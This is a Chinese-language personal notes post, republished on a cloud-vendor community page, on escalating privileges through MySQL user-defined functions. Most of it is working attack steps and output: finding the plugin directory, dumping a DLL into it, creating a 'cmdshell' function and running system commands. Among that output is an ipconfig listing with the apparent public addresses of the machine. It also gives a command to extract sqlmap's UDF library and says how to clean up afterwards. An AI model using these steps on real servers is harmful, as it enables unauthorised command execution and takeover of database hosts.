mysql提權筆記

來源:互聯網
上載者:User

標籤:

最近小菜遇到mysql提權,總是會搞錯,就記記筆記吧!以後方便用

先說手工吧!

mysql<5.0,匯出路徑隨意;5.0<=mysql<5.1,則需要匯出至目標伺服器的系統目錄(如:system32),否則在下一步操作中你會看到“No paths allowed for shared library”錯誤;mysql>5.1,需要使用

show variables like ‘%plugin%‘;
語句查看外掛程式安裝路徑,匯出的時候指定DLL路徑為外掛程式路徑。

現在幾乎都是五點幾吧!低版本的就很少了,select version();查看

我把手工用到的命令記下來

mysql> show variables like ‘%plugin%‘;
+---------------+------------------------------------------+
| Variable_name | Value                                    |
+---------------+------------------------------------------+
| plugin_dir    | D:\wamp\bin\mysql\mysql5.5.16\lib/plugin |
+---------------+------------------------------------------+

mysql> use mysql;
Database changed

mysql> select "aaa" into dumpfile ‘D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moon
udf.dll‘;
ERROR 1086 (HY000): File ‘D:/wamp/bin/mysql/mysql5.5.16/lib/plugin/moonudf.dll‘
already exists

已經存在了,我先前弄過了

mysql> create function cmdshell returns string soname ‘udf.dll‘;
ERROR 1125 (HY000): Function ‘cmdshell‘ already exists

 

mysql> select cmdshell(‘ipconfig‘);

| cmdshell(‘ipconfig‘)

|
Windows IP 配置

乙太網路適配器 本地串連:

串連特定的 DNS 尾碼 . . . . . . . :
本地連結 IPv6 地址. . . . . . . . : fe80::858e:b0a0:bc98:fecf%11
IPv4 地址 . . . . . . . . . . . . : 27.152.28.230
子網路遮罩  . . . . . . . . . . . . : 255.255.255.224
IPv4 地址 . . . . . . . . . . . . : 175.43.122.230
子網路遮罩  . . . . . . . . . . . . : 255.255.255.224
預設閘道. . . . . . . . . . . . . : 27.152.28.225

隧道適配器 isatap.{E3397DA6-F698-46FB-A3DB-784ADC1B044E}:

媒體狀態  . . . . . . . . . . . . : 媒體已斷開
串連特定的 DNS 尾碼 . . . . . . . :

隧道適配器 6TO4 Adapter:

串連特定的 DNS 尾碼 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2002:1b98:1ce6::1b98:1ce6
IPv6 地址 . . . . . . . . . . . . : 2002:af2b:7ae6::af2b:7ae6
預設閘道. . . . . . . . . . . . . : 2002:c058:6301::c058:6301

隧道適配器 Teredo Tunneling Pseudo-Interface:

串連特定的 DNS 尾碼 . . . . . . . :
IPv6 地址 . . . . . . . . . . . . : 2001:0:da55:94fa:3c18:a35:e467:e319
本地連結 IPv6 地址. . . . . . . . : fe80::3c18:a35:e467:e319%19
預設閘道. . . . . . . . . . . . . :

--------------------------------------------完成!
|

1 row in set (0.14 sec)

mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name     | ret | dl          | type     |
+----------+-----+-------------+----------+
| cmdshell |   0 | moonudf.dll | function |
+----------+-----+-------------+----------+
1 row in set (0.07 sec)

附帶一個吧!不確定能用,從代碼裡面摳出來的wiindows_udf

也可以在sqlmap裡面摳出來,注意對應

select hex(load_file(‘/usr/share/golismero/tools/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so‘)) into outfile ‘/tmp/udf.txt‘;

 

然後是工具了吧!MYSQL_high_version

這裡得改------

 

linux下也差不多的,就懶得寫了

--------------------------------------

若mysql>=5.0,語句中的DLL不允許帶全路徑,如果在第二步中已將DLL匯出到系統目錄,那麼你就可以省略路徑而使命令正常執行,否則將會看到”Can‘t open shared library“錯誤。

如果提示“Function ‘cmdshell‘ already exists”,則輸入下列語句可以解決:

delete from mysql.func where name=‘cmdshell‘

函數使用完後,我們需要把之前產生的DLL和建立的函數刪除掉,但要注意次序,必須先刪除函數再刪除DLL。刪除函數的文法如下:

drop function 建立的函數名;

mysql提權筆記

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.